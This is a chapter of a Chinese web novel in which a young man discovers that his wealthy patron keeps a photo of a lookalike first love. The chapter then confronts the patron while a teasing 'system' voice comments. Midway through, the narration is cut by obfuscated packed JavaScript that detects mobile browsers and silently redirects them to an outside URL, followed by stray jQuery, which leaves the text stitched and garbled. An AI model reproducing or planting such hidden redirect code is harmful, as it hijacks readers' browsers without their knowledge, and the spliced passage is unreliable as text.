林知白是被阳光晃醒的。
他睁开眼，愣了几秒才反应过来——昨晚不知什么时候睡着了，窗帘没拉，九月的阳光明晃晃地照进来，刺得眼睛生疼。
手机上有三条未读消息。
凌晨两点十七分：【睡了吗】
凌晨三点零四分：【晚安】
早上七点三十二分：【出差，后天回。有事找陈助】
林知白盯着屏幕看了很久，打了几个字又删掉，最后还是什么都没回。
洗漱完下楼，客厅里已经没人了。茶几上那束白玫瑰还在，一夜过去，花瓣边缘微微卷起，有点蔫了。
阿姨正在厨房忙活，听见脚步声探出头来：“小林醒啦？早餐马上好！”
“阿姨早。”林知白在客厅转了一圈，目光落在书房的门上。
那扇门平时总是关着的，今天却虚掩着，露出一条细细的缝。
“阿姨，书房的门......”
“哦，早上顾先生走得急，可能忘关了。”阿姨的声音从厨房传来，“怎么啦？”
“没事。”
林知白站在那扇门前，手抬起来，又放下。
“宿主，想进就进呗。”小污的声音突然冒出来，“反正你现在是‘金丝雀’，金丝雀探索一下笼子怎么了？”
“你懂什么。”
“本系统当然懂，这叫——知己知彼，才能被虐得体无完肤！”
林知白：“......你能不能盼我点好？”
话是这么说，他的手还是按上了门把手。
轻轻一推，门开了。
书房很大，一整面墙都是落地书架，深色的木质书桌正对窗户，桌上放着一台合上的笔记本电脑和一叠文件。阳光透过玻璃照进来，能看见细小的尘埃在光柱里缓缓浮动。
很正常的书房。
林知白不知道自己为什么松了口气。
他在书架前站了一会儿，随手抽出几本书翻了翻，都是些金融管理类的，有些书页里夹着便签，上面是顾霆琛的字迹，冷峻利落。
“宿主宿主！看那个！”小污突然兴奋起来。
“哪个？”
“书桌下面那个抽屉！有八卦的味道！”
林知白低头看去——书桌最下面有一个抽屉，没锁，但关得很紧。他蹲下身，用力拉了一下，抽屉滑出来。
里面只有一个相框。
相框里是一张照片，有些年头了，边角微微泛黄。
照片上是两个人。
一个年轻版的顾霆琛，二十出头的样子，穿着白衬衫，笑得张扬肆意，和现在这个冷冰冰的男人简直判若两人。他搂着另一个人的肩膀，那个人——
林知白的手指僵住了。
那张脸，和他一模一样。
不是像，是一模一样。
同样的眉眼，同样的轮廓，同样的嘴角弧度。甚至连笑起来的样子，都和他照镜子时看到的自己没什么区别。
唯一不同的是，照片里的人手里拿着一束白玫瑰，笑容干净得像从没受过伤。
“卧槽。”小污发出一声惊叹，“宿主，你被绿了！而且是跨时空被绿！这绿帽的含金量也太高了！”
林知白没说话，只是盯着那张照片。
照片背面有一行字，黑色的墨水，笔迹和顾霆琛现在的不太一样，更青涩一些：
【苏沐，二十岁。等我回来。】
林知白把照片翻过来，又翻过去，翻过来，又翻过去。
然后他听见自己的声音，平静得有些陌生：“小污，他叫苏沐？”
“......根据本系统的数据库，是的。顾霆琛的白月光，出国十年了。生日是1995年3月17日，血型AB，身高178，你俩连身高都一样......”
“行了。”
林知白把照片放回抽屉，轻轻推回去。站起身的时候，膝盖有点发软，他扶了一下书桌。
“宿主，你还好吧？”
“挺好的。”
“你的心率比正常值高了百分之二十三。”
“我运动一下不行吗？”
“你刚才只是蹲下又站起来。”
林知白没理它，转身往外走。
走到书房门口，他停住了。
顾霆琛站在门口。
他不知什么时候回来的，穿着一身深灰色西装，手里还提着公文包，显然是从机场直接赶回来的。他看着林知白，又看了看书桌的方向，眼神里有什么东西闪了一下。
两个人就这么站着，谁都没说话。
沉默像玻璃罩一样扣下来，把空气都抽干了。
“我......”林知白先开口，声音干涩，“门没关，我进来看看。”
顾霆琛没回答，只是看着他。
“看到那个相框了。”林知白听见自己继续说，声音越来越平静，“和我长得真像。”
顾霆琛还是没说话。
林知白笑了一下，绕过他往客厅走。
走到门口时，身后传来顾霆琛的声音：“林知白。”
他停住了。
“是他，也不是他。”
林知白背对着他，看不见表情。
顾霆琛的声音从身后传来，很低，像是在解释，又像是在说服自己：“你们长得像，但不一样。”
“哪儿不一样？”林知白问。
沉默。
“我问你，哪儿不一样？”
顾霆琛走过来，走到他面前，低头看着他。那双眼睛里倒映着他的脸，和照片里的人的脸，重叠在一起。
“他笑的时候，眼睛里有光。”顾霆琛说，“你笑的时候，眼睛里有......别的东西。”
林知白愣了一下，然后笑了。
这一次他笑得很轻，嘴角只是微微弯起，眼睛弯得更深一点。
“是吗。”他说，“那挺可惜的，我的光可能早就没了。”
顾霆琛的眉头皱起来。
“宿主——”小污的声音有点着急。
“那我是什么？”林知白突然问。
他抬起头，直视着顾霆琛的眼睛，不躲不避：“既然我像他但不是他，那我是什么？我是谁？”
顾霆琛没有回答。
“玩具？”林知白往前走了一步，离他更近，“商品？”
又一步。
“替身？”
再一步。
他们几乎贴在一起了。林知白仰着头，顾霆琛低着头，两个人的呼吸交织在一起。
“还是说，只是一个有温度的人形玩偶，在你需要的时候陪着你，在你不需要的时候，可以被随便送人？”
顾霆琛的喉咙动了动，喉结上下滚了一下。
他抬起手——
林知白退后一步。
“算了。”他说，语气轻飘飘的，“不用回答，我就随便问问。”
他转身往楼上走，走了几步又停下来，没回头：“你提前回来，是有事吗？”
顾霆琛的声音从身后传来，有点哑：“文件忘拿了。”
“哦。”
林知白继续上楼，一步一步，不紧不慢。
走进卧室，关上门。
他靠在门板上，慢慢滑坐下来，把脸埋进膝盖里。
小污的声音很轻：“宿主，你刚才好帅哦。”
林知白没动。
“把那个渣男怼得一句话都说不出来诶！”
还是没动。
“但是......”小污的声音变得更轻了，“你的心率刚才飙到一百三十七，现在还在一百一以上。你是不是......”
“小污。”闷闷的声音从膝盖里传出来，“闭嘴五分钟。”
“哦。”
过了两分钟。
“宿主——”
“五分钟还没到。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432106|200930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可是本系统有个重要情报，关于那个苏沐的，你不想知道吗？”
林知白抬起头，眼眶有点红，但没哭。
“说。”
“他出国十年，不是留学，是治疗。”小污的声音难得正经起来，“他有先天性心脏病，很严重的那种。三年前做过一次大手术，成功了，现在在那边做康复。顾霆琛这十年一直在给他供医疗费，每年飞过去看他两次。”
林知白愣住了。
“根据本系统的数据分析，顾霆琛找替身，不是随便找的。他应该是......太想他了。想得受不了了，才找一个长得像的人，假装他还在身边。”
“那为什么是我？”林知白问，“世界上长得像的人那么多，为什么偏偏是我？”
小污沉默了几秒：“这个......本系统的数据库里没有。”
林知白靠在门板上，盯着天花板。
阳光从窗户照进来，在墙上画出一道明亮的斜线。
“宿主。”
“嗯？”
“你哭了？”
“没有。”
“可是本系统的湿度传感器——”
“那个传感器坏了吧。”
门外响起脚步声，由远及近，停在门口。
敲门声。
“林知白？”
是顾霆琛。
林知白没动。
“我进来了。”
门把手转动了一下，门被推开。
林知白靠在门板上，被推得往后仰了一下，正好对上顾霆琛低头看过来的目光。
两个人距离不到二十厘米。
顾霆琛愣了一下，然后蹲下来，和他平视。
“坐地上干嘛？”
“凉快。”
顾霆琛看了他几秒，伸手探了探他的额头。
手很凉，带着外面的温度。
“没发烧。”他说，然后把手收回去，“昨晚睡得好吗？”
“挺好的。”
“撒谎。”
林知白看着他，没说话。
顾霆琛也不说话，只是蹲在他面前，两个人就这么大眼瞪小眼。
“宿主，这个画面好奇怪哦。”小污幽幽开口，“一个金主蹲在地上和他的替身对视，这要是拍下来能上热搜吧。”
林知白差点笑出来，硬生生忍住了。
“你刚才那个表情。”顾霆琛突然说。
“什么表情？”
“想笑又憋回去的表情。”他顿了顿，“很像他。”
林知白的笑意瞬间消失了。
顾霆琛也意识到自己说错了话，眉头皱起来。
“我不是那个意思。”
“没关系。”林知白扶着门站起来，腿有点麻，他稳了稳身形，“你文件拿了吗？不是要赶着走？”
顾霆琛站起来，看着他，眼神复杂。
“晚上的慈善晚宴，还去吗？”
“去啊，为什么不去？”林知白笑了笑，“造型师几点到来着？”
“六点。”
“好，我准备一下。”
他往卧室里走，走了几步，听见顾霆琛在身后说：“林知白。”
他停住，没回头。
“你今天......可以不笑的。”
林知白愣了一下。
过了几秒，他听见自己的声音，很轻：“知道了。”
身后传来脚步声，然后是下楼的声音，然后是门关上的声音。
林知白站在卧室中央，看着窗外。
阳光很好，好得让人想哭。
他抬手摸了摸自己的脸，嘴角，眼睛。
笑？
他刚才在笑吗？
晚上六点，造型师准时出现。
林知白换上黑色西装，坐上顾霆琛的车，前往慈善晚宴。
他不知道，那场晚宴上，会有一个人出现。
苏沐，回来了。